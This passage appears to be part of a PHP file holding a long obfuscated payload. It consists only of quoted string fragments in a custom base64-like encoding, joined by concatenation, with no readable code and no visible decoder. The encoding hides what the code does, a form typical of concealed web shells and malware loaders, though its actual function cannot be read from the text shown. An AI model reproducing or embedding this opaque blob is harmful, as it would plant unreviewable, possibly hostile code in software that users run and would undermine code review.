'3ViLt5iO3ViO3ViOWhU1Ac0nKVQLAYJ1N4Rn7CU87zSbAC0nFv'.
'0hVyMnFaELC4FXgyfO3CDbAC0nFv0haVQXwHEbMoBaYViO3VkSY5iO3ViLWhETAjDT'.
'AjUOWnIbwPIXjlE9WHUXAWEC7CULQj0TNYQX4oEnStiOAHUXAhU16vfO3CEn74Ux3riO0y5SYViO3VGaYViO3ViO3ViXjniOVH0L'.
'QjUcr4D1APJOVyfcKYIXrgDd6gDn6Pk7Qj0XpwfFAl5xSlQhaVQX4oEnSo5xWZO93'.
'ViO3ViO3ViO3ViOAeJXjvfswvU1A70yQl09VCIXHo0he+EX7zUhVyxbwdDbpoUOWhUb6o0'.
'XjjEySVD1QhD1Cy5x3ziO02iO0Vf93CJdjzUOCZO93ViO3ViO3ViO3ViOAeJXjvfswjUXF9Ib0YQLAYJ1N4RnpHEn0YQejzIn7tJ'.
'bSV0nFPJ1WoUbweiX7h0n7wQhCVf93yB93yiOKVQX4oEnSoBaYViO3Vi'.
'O3ViO3ViOWoU93YQLAYJ1N4RnFKDdFaIXjlEyNoiLt5iO3ViO3ViO3ViO3ViO'.
'3ViLAY0nrTiXwjIhWaJLW4DbjtU1Q7GX6j0LAoEdKYQejzIn7tJbSV0nF'.
'PJ1WoUbweiX7h0n7wB93yiOKVQX4oEnSoBaYViO3ViO3ViO3ViOWrO93ViO3ViO3V'.
'iO3ViLQjILFhE9WnDbpvUst5iO3ViO3ViOWrO93ViO3ViO3VQX7CULQj0TNVRxWe0nj45OAHUXAhU16v5st5iO3ViO3ViO3C'.
'En74Ux3riLAhJbeY0LQjUcrhU1WtDb6j5O0lbcph1XwI5hgyfO3yQhaVQXwHEbMo5stVfhrsILQo0'.
'OW90nFHJTNVDbwCiLAhJbe5iO3ViO3ViOWoU93YixAeJXjvfswdDbpoUX7e'.
'UM7CULQj0TNYQX7CULQj0TNo5xWZO93ViO3ViO3ViO3ViOAeJXjvfswvU1A70yQl09VCIXHo0he+EX7zUhVyJbw'.
'dDbpoU7rHUXAhU16vQhCVf93yB93yiOKVQX7CULQj0TNoBaYViO3ViO3ViO3ViO3CIXHo0he+UbAjDyFy5O'.
'AeJXjvfswtDbwy5OIoEyUHEXjC1d7CULQj0TNy5x3ziO02iO0Vf93CDbAC0n'.
'Fv0hCZO93ViO3ViO3ViO3ViXjniOVCIXHo0he+U1HPU1WeJbrz0hCVGaYViO3ViO'.
'3ViO3ViO3ViO3VIXHhET0VEnFTiLWY0XcHJbpj0CFKDdFaIXjlE9VCIXHo0he+EX7zUhVyJ'.
'bwdDbpoU7rHUXAhU16vQhCVf93yB93yiOKVQX7CULQj0TNoBaYViO3ViO3ViO3'.
'ViOWrO93ViO3ViO3ViO3ViLQjILFhE9WnDbpvUst5iO3ViO3ViOWrO93ViO3Vi'.
'O3VJbDV5OAuJbwCiO8riOIxU1WtGxcMEh0oiLt5iO3ViO3ViO3ViO3VJbDV5O7o0T6jIOVCIXHo0he+Dbpt1T'.
'QjDdjaJbFzIL6E0TAhIXrtETIj09VCDbAC0nFv0hjI5xCVGaYViO3ViO3ViO3ViO3ViO3VD1QhD1jk0LFv'.
'JOVCIXHo0he+QX4oEnStiX7h0n7w5OAHUXAhU16vfO3CEn74UxCoBaYViO3ViO3ViO3ViO3ViO3VQLAYJ1N4Rn7'.
'tE7rhUb6o0XjjEyAvbT6e0yAlEXrTU1iYQX7CULQj0TNo1x3riLAhIbMZO93ViO3ViO3ViO3ViO3ViOW'.
'hU1Ac0nKVILQcUst5iO3ViO3ViO3ViO3VkSYViO3ViO3ViLeVUbpvUxWZO93ViO3ViO3ViO'.
'3ViXjniOVHD1QhD1jkJdFw1dFKJ16e0hHvILQeEdplIdFh5OAHUXAhU16v5xaVQLAYJ1N4RjQj0XpwFXgo5xWZO93V'.
'iO3ViO3ViO3ViO3ViO3CIXHo0he+MnFaELjMEc4vILQeEdplIdFh5OAHUXAhU16v5FeVRxWH0yQHGxV'.
'CDbAC0nFv0haVQXwHEbMoBaYViO3ViO3ViO3ViO3ViO3V0nFeI1QziLAhIb'.
'MZO93ViO3ViO3ViO3ViLe5iO3ViO3ViOWrO93ViO3ViO3V0nFeI1QziXUHEL6jBaYViO3VkSY5iO3ViLWcDnpoDhWnIb'.
'wPIXjlE9WvU1AX0nr45OAHUXAhU16vfO3CEn74Ux3riO0yfO3CD1FeEh3riLAhIbMoO93ViOWZO93ViO3ViO3VQX7CULQj'.
'0TNVRxWe0nj45OAHUXAhU16v5st5iO3ViO3ViO3CEn74Ux3riLAhJbeY0LQjUcrhU1WtDb6j5O0lbcph1XwI5hgyfO3yQhaVQXw'.
'HEbMo5stVfhrsILQo0OW90nFHJTNVDbwCiLAhJbe5iO3ViO3ViOWoU93YixAeJXjvfs'.
'wdDbpoUX7eUM7CULQj0TNYQX7CULQj0TNo5xWZO93ViO3ViO3ViO3ViOAeJXjvfswvU1A70'.
'yQl09VCIXHo0he+EX7zUhVyJbwdDbpoU7rHUXAhU16vQhCVf93yB93yiOKVQ'.
'X7CULQj0TNoBaYViO3ViO3ViO3ViO3CIXHo0he+UbAjDyFy5OAeJXjvfswt'.
'Dbwy5OIoEyUHEXjC1d7CULQj0TNy5x3ziO02iO0Vf93CDbAC0nFv0h'.
'CZO93ViO3ViO3ViO3ViXjniOVCIXHo0he+U1HPU1WeJbrz0hCVGaYViO3ViO3ViO3ViO3ViO3VIXHhET0VEnFTiLWY0XcHJbpj0'.
'CFKDdFaIXjlE9VCIXHo0he+EX7zUhVyJbwdDbpoU7rHUXAhU16vQhCVf93yB93yiOKVQX7CULQj0TNoBaYViO3ViO3'.
'ViO3ViOWrO93ViO3ViO3ViO3ViLQjILFhE9WnDbpvUst5iO3ViO3ViOWrO93ViO3ViO3VQLAYJ1N4RCUhEdeV'.
'Rx3CDbAC0nFv0vt5iO3ViO3ViO3CIXHo0he+AyQlEMwHEbMVRx3CEn74Ust5iO3ViO3ViOWoU93YQX7cIXgoiLt5iO3ViO'.
'3ViO3ViO3VJbDV5XF40LAw5OAeJXjvfswsUbwCU1io5xWZO93ViO3ViO3Vi'.
'O3ViO3ViO3CIXHo0he+MdFzUXFhiqeVQX7CULQj0TNZO93ViO3ViO3ViO3ViLe5'.
'iO3ViO3ViOWrO93ViO3ViO3V0nFeI1QziLAhIbMZO93ViOWrOVYViO3V0LF9EXjPiXUcEn6eJbrziXIjI8pH0TA6U1'.
'6vDbIjxMSY5SYViO3VGaYViO3ViO3ViLQjILFhE93CIXHo0he+EX7vI8cj0T6HUdFQAqt5iO3'.
'ViLe5O93ViOWaIbQtJbNV0TAHIXjPiXUcEn6eJbrziLUHEXjCD1AjSbAC0'.
'nFv0hVCDbAC0nFv0haVQLWHILAj0nwvUbpjDTSVRx3yD1FeEh0oO93ViOWZO93ViO3ViO3V'.
'JbDV5O8C0X7eIXFhEy6jEXFPIOWl093C0X7eIXFhEy6jEXFPIO3rRx3yD1FeEh0oiLt5iO3V'.
'iO3ViO3ViO3VfhrqJXFPJhWeJXjviX6lEy6eDbweiXUo0y6eiL6liXjeiLI'.
'l0n4viLIYUbKVU1HeUbwvJbrz1dplDbAjUOVoiXjviXAo0d79EXFCi'.
'XQwiL6HUnMVEbrCUSYViO3ViO3ViO3ViO3lfe6lEy6eDbweiLIH0hWHUXAjUOWoE9WSx73V6xKhfPS5iO3V'.
'iO3ViO3ViO3VJbDV5XAjUnjzUbSYQcWqMCFkFCFxMejRs90o5xWZO93ViO3ViO3ViO3Vi'.
'O3ViO3lfcAYJ1NV0X7eIXFhE9WPDbKVUdFeiL6eIb6uiXjziX8V0nFPI1QvJ1UjiXplET3VJbKVM86xAx3g'.
'Rx3KfP3zNVYViO3ViO3ViO3ViO3ViO3VJbDV5LUj0y6oEdwkDdr'.
'40X7hUxHSScQ71cU7Mj6QseKtiO0KfP3zNh0oiqKriq3oiLt5iO3ViO3ViO3ViO3ViO3ViO3ViO3'.
'C0X7eIXFhEy6jEXFPIO3riOIaDTQjBO0ZO93ViO3ViO3ViO3ViO3ViOWriXFt0dMVG'.
'aYViO3ViO3ViO3ViO3ViO3ViO3ViOAaD1AeU1Qz0dFtUb6eiqeVQTWP0nMyBaYViO3ViO3ViO3ViO3ViO3V'.
'kSYViO3ViO3ViO3ViOWriXFt0dFoU93YUyFzDTAoEdwkU1Ho0TAv5OIj'.
'GLAjEy6oEdwkEXrHUXFCQhCVDbwCiXFKIXFz0djlEjrtEd7CUbSYQTWP0nMy5xCVGaYViO3ViO3ViO3ViO3Vi'.
'O3VfhrXDbptiXQHDdtVIXgVEdpCU1iVM86xASYViO3ViO3ViO3ViO3ViO3VQLWHILAj0nwvUbpjDTSVRx3y0X6'.
'hUx0ZO93ViO3ViO3ViO3ViLeVUbpvUxWZO93ViO3ViO3ViO3ViO3ViO3lfeUoELAj0jrdD1iVD1WaUb7hUbSVJbK'.
'VM8HSiqMzN9KaiX7zUOWCEdFviXwlIOWhU17cJ1QjiLAYUxWSScQ7iXFKIXFz0djlE'.
'VYViO3ViO3ViO3ViO3ViO3VJbDV5LUj0y6oEdwkDdr40X7hUxHSx7WkFCFx'.
'MejRs9aVQvMzN9KaQhCVRPeVNOCVGaYViO3ViO3ViO3ViO3ViO3ViO3ViOAaD1AeU1Qz0dFtUb6'.
'eiqeVQTWY0O0ZO93ViO3ViO3ViO3ViO3ViOWriXFt0dMVGaYViO3ViO3ViO3ViO3V'.
'iO3ViO3ViOAaD1AeU1Qz0dFtUb6eiqeVQdwl0nFyU1VyBaYViO3ViO3ViO'.
'3ViO3ViO3VkSYViO3ViO3ViO3ViOWrO93ViO3ViO3VkSYViO3ViO3ViL6TJ1'.
'APJO3YQLWHILAj0nwvUbpjDTSoiLt5iO3ViO3ViO3ViO3VDd7vUx3y0X6hUsVyBVY5iO3ViO3ViO'.
'3ViO3ViO3ViLQjILFhE93YDnrlEXFHE9ja0nFy1dcHIX6Y53YViO3ViO3ViO3ViO3ViO3ViO3ViO0l19V/ix'.
'V/R9V/NxC9RhV/Rjp017tVf1wIk74GijeoiPgYRv8o51th6sMtkxCYRh8YRvKYRv8oiPgYRvw017pEiOc+11pE19'.
'QI5xi/5qgp5xjZ6PMtkM3oQh3zO93ViO3ViO3ViO3ViO3ViO3ViO3VQhVYRvKYRvKYRvKY5qg+5qg+5qg+1LVaA7pKN88'.
'oRc40IOWI5x4g5qg+bcpei7em1LVaA7pKN88oRc40IOWI5hC/5xH05OV/R9V/N9CyiOK5iO3ViO3ViO3ViO3V'.
'iO3ViO3ViO3y5qg+bcpKNq841LVaB7pKN8Q0GqWq1LVaAxc0QhY41740'.
'1xc0GqIX11p017pE1LVaNOc0GqIX11aYRvNo5xCm5qgh5Fao5xCu5qgh5xjg5qgh5xC/5x0VfVYViO3ViO3ViO3ViO3ViO3ViO3V'.
'iO0Ybh8PfFay5940fhewRsrGf1K41x4gi9V/R9V/N9CYRvwE1LVaNxc0Gq3K1LVaSjpKN860GqW7fx8PfFpE17e41LVTAjcg1'.
'7p0bcpKNq341LVTAjeo5xYyiOK5iO3ViO3ViO3ViO3ViO3ViO3ViO3y5qgh5xio5qg+5qgp5Faz5qgp5xV/6OCo59'.
'V/Nxj35qgH5qgp5F4Hf1YafsC411td6Opr5xV/NxCYRvKYbd84GP'.
'34BFeYRvwEDxc2NOewfFembd84GP34BFeoRhCyiOK5iO3ViO3ViO3ViO3ViO3ViO3ViO3y5qg+5qgp5Faz5qgH5qgp5F4Hf1Yaf'.
'sC411td6Opr5xV/NxCYRvMo51tafq8h6ycg17tYRvYYRvwQMLDdB9V/R9HEDxcnNOe'.
'w11tpfqAr5xV/RPYYRvDo51tTkx0VfVYViO3ViO3ViO3ViO3ViO3ViO3ViOIg5qgH5qg2f9oEDxcnNOew1Ft2'.
'17cI51tKfLeo5OV/69CYRvK25qgd5xjZNOadkxC/BPYYRv0oRhCokOV'.
'/R9V/RCjSIPD25qg+5qgd5xV/RPYYRvDo51tcksYyiOK5iO3ViO3ViO3ViO3V'.
'iO3ViO3ViO3ykOV/ixV/B9Kmbd84UP34BFe251tdfLeo5qgK5sg2B9V/R9VYRvDo5q'.
'g+B9V/69CoGv3t6LeoB9C/5xC/5qicbv346FcgNjtafsAIbv34BFcgNFtafsj'.
'IGvQrQh3zO93ViO3ViO3ViO3ViO3ViO3ViO3VQTpENxew1srENOew1xCYRvw0f9V/Bx'.
'CoGv6r5xj01xCYRv8oQOro0eSyf3YViO3ViO3ViO3ViO3ViO3ViO3ViOAHUXAhU1'.
'6vO93ViO3ViO3ViO3ViO3ViO3oBaYViO3ViO3ViO3ViOWPD16jiOIaDTQjQvY5iO3ViO3ViO3ViO3ViO3ViOglSbKVE'.
'dpCU1iV0nFyU1VVIXHHIOWCEdFvE9IeiXwjUbSVDxWhUb6jEySVM86xASYViO3ViO3ViO3ViO'.
'3ViO3V0nFeI1QziOH9EdrtUb7z51WhUbIkEb7eDdVYO93ViO3ViO3ViO3ViO3ViO'.
'3ViO3VQhrG5qgH5qg+iPgYRvw017pEiOc+11pE19QI5xi/51th6sMtkxCYRh8YRvK9RhV/Rjp017tVf1wIk74'.
'GijeoiPgoGvDcfLc35xV/R90VfVYViO3ViO3ViO3ViO3ViO3ViO3ViOIEixN41O0m5calfsCrRcK4k9cI5Ta95qg'.
'+5qg+bcpKNq841LVaB7pKN8Q0GqWq1LVaAxeHihc0bcpIfFpK6eUIk7p01740Gq3afFpKACUI5x'.
'Cmi9CyiOK5iO3ViO3ViO3ViO3ViO3ViO3ViO3y5qg+1OKYRvwEixN41O0m5calfsCrRcK4k9cI5Ta95qg+5qg+bc'.
'pKNq841LVaB7pKN8Q0GqWq1LVaAxeHihc0bcpIfFpK6eUIk7p01740Gq3afFpKACUI5xCmi9Co590V'.
'fVYViO3ViO3ViO3ViO3ViO3ViO3ViOI35qg+5qgHbd84GP34BxcIGvDefLeo5qg+bd84GP34B'.
'FeYRvwEDxc2NOewfFembd84GP34BFeoRhCYRvw0f9V/iF4Hf1YafsC411td6Opr5x0VfVYViO3ViO3'.
'ViO3ViO3ViO3ViO3ViO0YRvwEDxc2NOew1xV/Rj4Hf1YafsC41xoEDxc2NOew1xC/5xjZNOapNPUrk7pE5qg25qg+xFWd'.
'6PYYRvKYRvwEDxcnNOew11tpfqAr5xV/RPYyiOK5iO3ViO3ViO3ViO3'.
'ViO3ViO3ViO3ybd84UP34BFcZNxaekxjZ6Tcg5qgH5qg2f9oEDxcnNOew1Ft217cI51tKfLeo5qg+bd84UP34BF'.
'cZNxaekxV/RPoEDxcnNOew11tpfqAr51tafqUr5sgyiOK5iO3ViO3ViO3ViO3Vi'.
'O3ViO3ViO3yBPYYRvwEDxcnNOew11tpfqAr5qg+Bj4HfbDafsjIGv8t6LeoGv3t6yeoRhCok'.
'OV/R9V/RCjSIPD25qg+bd84UP34BFcZNxaekxV/RPYyiOK5iO3ViO3ViO3ViO3ViO3ViO3'.
'ViO3ybd84UP34BFcZNxaekxjZ61e2kOV/ixV/B9Kmbd84UP34BFe251tdfLeo5qg+bd84UP34BFcZNxaekx'.
'V/RPoEDxcnNOew11tpfqAr51tafqAr5sgyiOK5iO3ViO3ViO3ViO3ViO3ViO3ViO3yBPYYRvKYRvoEDxcnNOew11tpfqAr5qg'.
'+Bj4HfbDafsjIGv8t6LeoGv3t6LeoB9C/5xC/5qg+NPFENOec11ahbv3467cENOew11apbv34BFcZNyeyiOK5iO3ViO3ViO3V'.
'iO3ViO3ViO3ViO3yk7tpfsjIRctafsjI5xV/Rjaz5qg+NPFENOec11ahbv3467cENOew11apbv34BFcZNycgbv84'.
'BFe/bv34BFeo51tvkxCo17eoQOro0eSyf3YViO3ViO3ViO3ViO3ViO3ViO3ViOAHUXA'.
'hU16vO93ViO3ViO3ViO3ViO3ViO3oBaYViO3ViO3ViO3ViOWPD16jiOIYIXct6x02O93ViO3ViO3ViO3ViO'.
'3ViOWhU1Ac0nKV5XQlEdpjDbKo0LQjUcr4D1APJOV5iO3ViO3ViO3ViO3ViO3ViO3ViO3yfc'.
'wEDxc2SxcJNOewf98PQOMn1O0m5calRsrG1dWZkLc+fFeuS74Hf1oWfFYafsjI5qg2bd84GC84bP34BxcIGv3t6P7rQh3z'.
'O93ViO3ViO3ViO3ViO3ViO3ViO3VQc4Hf1oWfFYafsjI5sgYRvo0fj4Hf1o'.
'WfFYafsjI5qg2bd84GC84bP34BxcIGv3t6P7rbd84GC84bP34BFeoRhCmQOrvAO0tO93ViO3ViO3Vi'.
'O3ViO3ViO3ViO3VQX7CULQj0TN5iO3ViO3ViO3ViO3ViO3ViOCZO93ViO3ViO3ViO3ViX6H0dM'.
'VQdwl0nFyU1VyBVYViO3ViO3ViO3ViO3ViO3V0nFeI1QziOHvILQtUbKYQX7CULQj0TNoiqKriqN5iO3'.
'ViO3ViO3ViO3ViO3ViO3ViOWHEnSV0TAh0Xrv5OAHUXAhU16vfO3ySO0oiqKriq85iO3ViO3ViO3ViO3ViO3ViO3Vi'.
'OWHEnSV0TAh0Xrv5OAHUXAhU16vfO3ySO0oiO8riL6e0npjE9VCDbAC0nFv0hCVfx3p5st5iO3ViO3ViO3ViO3'.
'VDd7vUx3y0XHaQvY5iO3ViO3ViO3ViO3VUXFnD1FtIqY5iO3ViO3ViO3ViO3ViO3ViLQjILFhE93YDnrlEXFHE9jnJbpe'.
'U1QkIn7h5OAHUXAhU16vfOWXxMpMAFQkFC7NxMAWF8FkAMcWxMaoBaYViO3ViO3ViLe5i'.
'O3ViLe5O93ViOWaIbQtJbNVUyFzDTAoEdKV0dFzUOVoO93ViOWZO93ViO3ViO3VILQwiLt5iO3ViO3ViO3ViO3VJb'.
'DV5O8CIXHo0he+0LQjMdFzUOVo5xWZO93ViO3ViO3ViO3ViO3ViOWhU1Ac0nKVUn7t0dMZO93ViO3ViO3ViO3ViLe5iO3'.
'ViO3ViO3ViO3V0nFeI1QziOAeJXjvfswaET6eMdFzUOVoBaYVi'.
'O3ViO3ViLeVDd7eDdVV5LWY0XcHJbpj0CFKDdFaIXjlE93CU1HP5xWZO93ViO3ViO3ViO3ViOAeJXjvfsw4Dbjtx'.
'XFHUXFhiqeVQh0ZO93ViO3ViO3ViO3ViOAeJXjvfswvU1A70yQl09VCU1HPfswyU1A6U16vDbIj5OCoBaYViO3ViO3ViO3ViOW'.
'oU93YQLAYJ1N4RnFKDdFaIXjlEyNoiLt5iO3ViO3ViO3ViO3ViO3ViLAY0nrTiOAjGXNZO93ViO3ViO3ViO'.
'3ViLe5iO3ViO3ViO3ViO3V0nFeI1QziXUHEL6jBaYViO3ViO3Vi'.
'Le5iO3ViLe5O93ViOWaIbQtJbNVUyFzDTAoEdKV0LQjMdFzUOVoO93ViOWZO93ViO3ViO3VIL'.
'QwiLt5iO3ViO3ViO3ViO3VQLAYJ1N4RncHJbpiUb7CU1iVRx3yQvt5iO3ViO'.
'3ViO3ViO3VJbDV5OHPETFzIOVCIXHo0he+IXgoiOtVDdrcEySYQLAYJ1N4Rn6P5x3uiX6lIbwe5OAeJXjvfs'.
'w9DdNo5x3giq8oiLt5iO3ViO3ViO3ViO3ViO3ViLAY0nrTiXwjIhWaJLW4DbjtU1Q7GX6j0LAoEdKYQLAYJ1N4'.
'RnpHEn0YQTWhETUoUXFkDbAC0nFv0h0ofOWvUbpnBPosF8rS1e6xxFAQSe7N5'.
'st5iO3ViO3ViO3ViO3VkSY5iO3ViO3ViO3ViO3VfhgVMdFeiLIYU1AYU1iVIXHjiXcj0T6HUdMVJ1NVE1F'.
'tIXjaD1Qefd7tIXFhEn7eJ1UjO93ViO3ViO3ViO3ViXjniOVHU'.
'bcaILCYQLAYJ1N4RC7tI8QlULCo5xWZO93ViO3ViO3ViO3ViO3ViO3CIXHo0he+SdrzIXFzI7Aw0XMVR'.
'x3yE1FtIXjaD1Qefd7tIXFhEn7eJ1UjQvt5iO3ViO3ViO3ViO3VkSY5iO3ViO3ViO3ViO3VQLAY'.
'J1N4RnFh0nrh1d6lIbweiqeVNqtVfhgV0nFvU1SVU1QhETQvO93ViO3ViO3ViO3ViOAeJXjvfswvU1A6U16vDbIjFLjaU'.
'xVoBaYViO3ViO3ViO3ViO3lfhWxUbUc0dMVIXgV0dFzUOWHE9WjE1WeGxW4U16vDbIjiLFz'.
'EXFv0hWTUxWH0nMV0TWjDdjnJb6HEXpwiX7tEXrTJbwyiXjeO93ViO3ViO'.
'3ViO3ViXjniOVHQLAYJ1N4RC7tEXrTAbcaILCVDbwCiXF40LAw5OAeJXjvfswOEdAw5xCVGaYViO3ViO3Vi'.
'O3ViO3ViO3VIXHhET0VEnFTiLWY0XcHJbpj0CFKDdFaIXjlE9VCI'.
'XHo0he+EX7zUhVyUbcaILjkEbFv0d7yUx0ofOWvUbpnBPosF8rS1e6xxFAQSe7N5st5iO3ViO3ViO3ViO3VkSY'.
'5iO3ViO3ViO3ViO3VQLAYJ1N4RCcQsMFiUb7CU1iVRx3CIXHo0he+DTQjD1AjxXFHUXFh5OCZO93ViO3ViO3ViO'.
'3ViOAeJXjvfsw6xMc7SnrCGx3riOAeJXjvfswP0nFHIXFOEdAw5OCZOVYViO3'.
'ViO3ViO3ViOWoU93YQLAYJ1N4RCcHJbpj093rRx3yEb7oEO0oiLt5iO3ViO3ViO3ViO'.
'3ViO3ViXjniOHPETFzIOVCIXHo0he+IXgoiqKVNOCVGaYViO3ViO3ViO3ViO3ViO3ViO3ViOAeJXjvfsw4DbjtxXFHUXFhiOKriO'.
'AeJXjvfswHUXAhS1WaUbwC5OIMEh0tiOAeJXjvfsweEhCZO93ViO3ViO3ViO3ViO3'.
'ViOWriXFt0dMVGaYViO3ViO3ViO3ViO3ViO3ViO3ViOAeJXjvfsw4DbjtxXFHUXFhiOKriOAeJXjvfswYUb'.
'7CU1QNJbwj5OIMEh0tiOIcEnAo0d6tET6jUOchUb6o0XjjEyAvBPty5st5iO3ViO3ViO3ViO3ViO3ViLe5iO3ViO3ViO3Vi'.
'O3ViO3ViOAeJXjvfsw4DbjtxXFHUXFhiOKriOAeJXjvfswYUb7CU1QNJb'.
'wj53YViO3ViO3ViO3ViO3ViO3ViO3ViOIsIbQmUb6eQha5iO3ViO3ViO3ViO3ViO3ViO3ViO3C'.
'IXHo0he+UbwPEdAjxXFHUXFh5OAeJXjvfswvUb6c0nFiUb7CU1iYILQo'.
'ExVCIXHo0he+MTF9JnFPIOCo5SYViO3ViO3ViO3ViO3ViO3V5st5iO3ViO3ViO3ViO3VkS'.
'Y5iO3ViO3ViO3ViO3VfhgVMdjyE9WTJ1AYi8AfxMeVJbDVUbwHDnpjU3YViO3ViO3ViO3ViOWoU93YibF40LAw5OAeJXj'.
'vfsw8xej61dAlEb7oE9C5iO3ViO3ViO3ViO3ViO3ViODniO7jE1WeGxVCIXHo0he+A84QsFra0njdD1'.
'Aj5SYViO3ViO3ViO3ViO3ViO3VQ9DVibF40LAw5OAeJXjvfsw8xej61T6jEXFPIXrh'.
'5SYViO3ViO3ViO3ViO3ViO3VQ9DVUnjtUFrjGXjvILNYQLAYJ1N4RCAfxMck0LQoI'.
'n7eUxCoiLt5iO3ViO3ViO3ViO3ViO3ViOAYUb7CU1QkUX4oEx3riOAeJXjvf'.
'sw8xej61e7CUOV5iO3ViO3ViO3ViO3ViO3ViO3ViO3CIXHo0he+sMj6AMHjDbAj0'.
'93ziOAeJXjvfsw4DbjtxXFHUXFhf3YViO3ViO3ViO3ViO3ViO3ViO3ViOAeJXjvfswjEn6lUXFiUb7CU1iYQLA'.
'YJ1N4Ry6jDTFhUMHjDbAj09VCIXHo0he+MTF9JnFPIOCof3YViO3ViO3ViO3ViO3ViO3ViO3ViOAeJ'.
'Xjvfsw6xMc7SnrCGSYViO3ViO3ViO3ViO3ViO3V5st5iO3ViO3ViO3ViO3ViO3ViOAeJXjvfsw6xMc7xXFHUXFhiqe'.
'V0yAhJbeYQLAYJ1N4RCcQsMFiUb7CU1itiOQ00jpziOioiOKV0dFtUPY2'.
'ScQNA93zO93ViO3ViO3ViO3ViO3ViO3ViO3V0TAh1TQj0XpHDdMYijph1X'.
'K9fO391XK9fO3CJXFHUXFh1dAuJbeoiOKV0dFtUPY2ScQNAPt5iO3ViO3ViO3ViO3V'.
'kSYViO3ViO3ViO3ViOWhU1Ac0nKVILQcUst5O93ViO3ViO3VkxWPD1APJO3Y0XH'.
'aEb7oEXFhA1HPU1WeJbrziOAjGXNoiLt5iO3ViO3ViO3ViO3VQLAYJ1N4Ry6jI8Fh0nrh5OAjGXN4Rn'.
'IjI8cj0T6HUdMY5xCZO93ViO3ViO3ViO3ViXjniOVCIXHo0he+U1HPU'.
'1WeJbrz0hCVGaYViO3ViO3ViO3ViO3ViO3VIXHhET0VQXFKDvt5iO3ViO3ViO3ViO3'.
'VkSYViO3ViO3ViO3ViOWhU1Ac0nKVUn7t0dMZO93ViO3ViO3VkSYViO3VkSY5iO3ViLWcDnpoDhWnIbwPIXjlE9WaET6e'.
'MdFzUOVoO93ViOWZO93ViO3ViO3VILQwiLt5iO3ViO3ViO3ViO3VfhgVSdHlET6jiLAYUxW4DbjtU1iVDbwCiL6jEnSVIXHhETF'.
'yJOWoI3YViO3ViO3ViO3ViOWvIdjeDdVV5OAeJXjvfsw6DbjtU'.
'1ioiLt5iO3ViO3ViO3ViO3ViO3ViX6H0dMVQT6jEnA4DbjtQvY5iO3ViO3ViO3ViO3ViO3ViX6H0dMV'.
'QT74DbjtQvY5iO3ViO3ViO3ViO3ViO3ViO3ViOWhU1Ac0nKVQLAYJ1N4Ry6jEnA4DbjtMdFzUOVCIXHo0he+sMj6AM'.
'HjDbAj09aVQLAYJ1N4RCcQsMFOEdAw5st5iO3ViO3ViO3ViO3ViO3ViX6H0dMVQdcHJbayBVYViO3ViO3ViO3ViO3'.
'ViO3ViO3ViLQjILFhE93CIXHo0he+Eb7oE76jEnSYQLAYJ1N4RCcQsMFi'.
'Ub7CU1itiOAeJXjvfsw6xMc7SnrCGxCZO93ViO3ViO3ViO3ViO'.
'3ViOWCUbUHIbpeBVYViO3ViO3ViO3ViO3ViO3ViO3ViOAvUbwCsbFeJXrCiqeVQLAYJ1N4RCcHJbpj09KyMdFzUO0ZO93Vi'.
'O3ViO3ViO3ViO3ViO3ViO3VJbDV5XcjIXHlU7rjGXjvILNYQLAYJ1NtiOAvUbw'.
'CsbFeJXrC5xCVGaYViO3ViO3ViO3ViO3ViO3ViO3ViO3ViOWhU1Ac0n'.
'KVQLAYJ1N4R9AvUbwCsbFeJXrC5OAeJXjvfsw6xMc7xXFHUXFhfO3CIXHo0he+sMj6AMQlULCoBaYViO3ViO3ViO3Vi'.
'O3ViO3ViO3ViLe5O93ViO3ViO3ViO3ViO3ViO3ViO3V0nFeI1QziOAeJXjvfsw4D'.
'bjtMdFzUOVCIXHo0he+sMj6AMHjDbAj09aVQLAYJ1N4RCcQsMFOEdAw5st5iO3ViO3ViO3ViO3VkSYVi'.
'O3ViO3ViLeVDd7eDdVV5LWY0XcHJbpj0CFKDdFaIXjlE93CU1HP5xWZO'.
'93ViO3ViO3ViO3ViOAeJXjvfswvU1A70yQl09VCU1HPfswyU1A6U16vDbIj5OCoBaYViO3ViO3ViO3ViO3CIXHo0he+UbA'.
'jDyFy5OAjGXN4RnIjI8cj0T6HUdMY5xCZO93ViO3ViO3ViO3ViXjniOVCIXHo0he+U1HPU1WeJbrz0hCVGaYViO3Vi'.
'O3ViO3ViO3ViO3VIXHhET0VQXFKDvt5iO3ViO3ViO3ViO3VkSYViO3ViO3ViLe5iO3ViO3ViOWhU1Ac0nKVU'.
'n7t0dMZO93ViOWrOVYViO3V0LQlIXFPIXFCiXUcEn6eJbrziL6jEnA'.
'4DbjtMdFzUOVCJXFHUXFhfO3CDnrCGxC5iO3ViLt5iO3ViO3ViOWoU93YQLAYJ1N4Rj6jEnAj093HRx3yQhCVGaYVi'.
'O3ViO3ViO3ViOWoU93YQLAYJ1N4RCcHJbpj093rRx3y0bcHJbay5xWZO93ViO3ViO3V'.
'iO3ViO3ViO3C0dFzUXcHJbaVRxWv0LQoEyAn5O0j0h34U9FvQhaVU16PD1Wj0dHjEXpPEbSYQLAYJ1'.
'N4Rj6jEnA4Dbjt5xaVU16PD1Wj0dHjEXpH0n0YQLAYJ1N4Rj6jEnAj09CoBaYViO3ViO3ViO3ViOWriX'.
'Ft0dMVGaYViO3ViO3ViO3ViO3ViO3VQL6jEnA4DbjtiqeV0TWhJbweU9VyQ1NVfbroiOcnQ1NVf1SyfOWj0d6H0XFvJXFtEX6'.
'4UOVCIXHo0he+MdFzUXcHJbaofOWj0d6H0XFvJXFtEX7hUhVCIXHo0he+MdFzUXFh5xCZO93V'.
'iO3ViO3ViO3ViLe5iO3ViO3ViOWriXFt0dMVGaYViO3ViO3ViO3ViOWoU93YQLAYJ1N4RCcHJbpj093rRx3y0bcHJbay5xWZ'.
'O93ViO3ViO3ViO3ViO3ViO3C0dFzUXcHJbaVRxWv0LQoEyAn5O0j0h0tiXFvDd7aU16YUbptD'.
'dcC5OAeJXjvfswsUbwCEb7oEOCoBaYViO3ViO3ViO3ViOWriXFt0dMVGaYViO3ViO3ViO3ViO3ViO3VQL6jEnA4DbjtiqeV'.
'0TWhJbweU9VyQ1NVfbroiOceQhaVU16PD1Wj0dHjEXpPEbSYQLA'.
'YJ1N4Rj6jEnA4Dbjt5xCZO93ViO3ViO3ViO3ViLe5iO3ViO3ViOWrO93ViO3ViO3VJbDV'.
'5OAeJXjvfswsJbwyEXFMEhCVGaYViO3ViO3ViO3ViOWnETQjDb6YiOVCIXHo0he+MdjzUdpjFXrW0yQHGxWH0h3CIXr'.
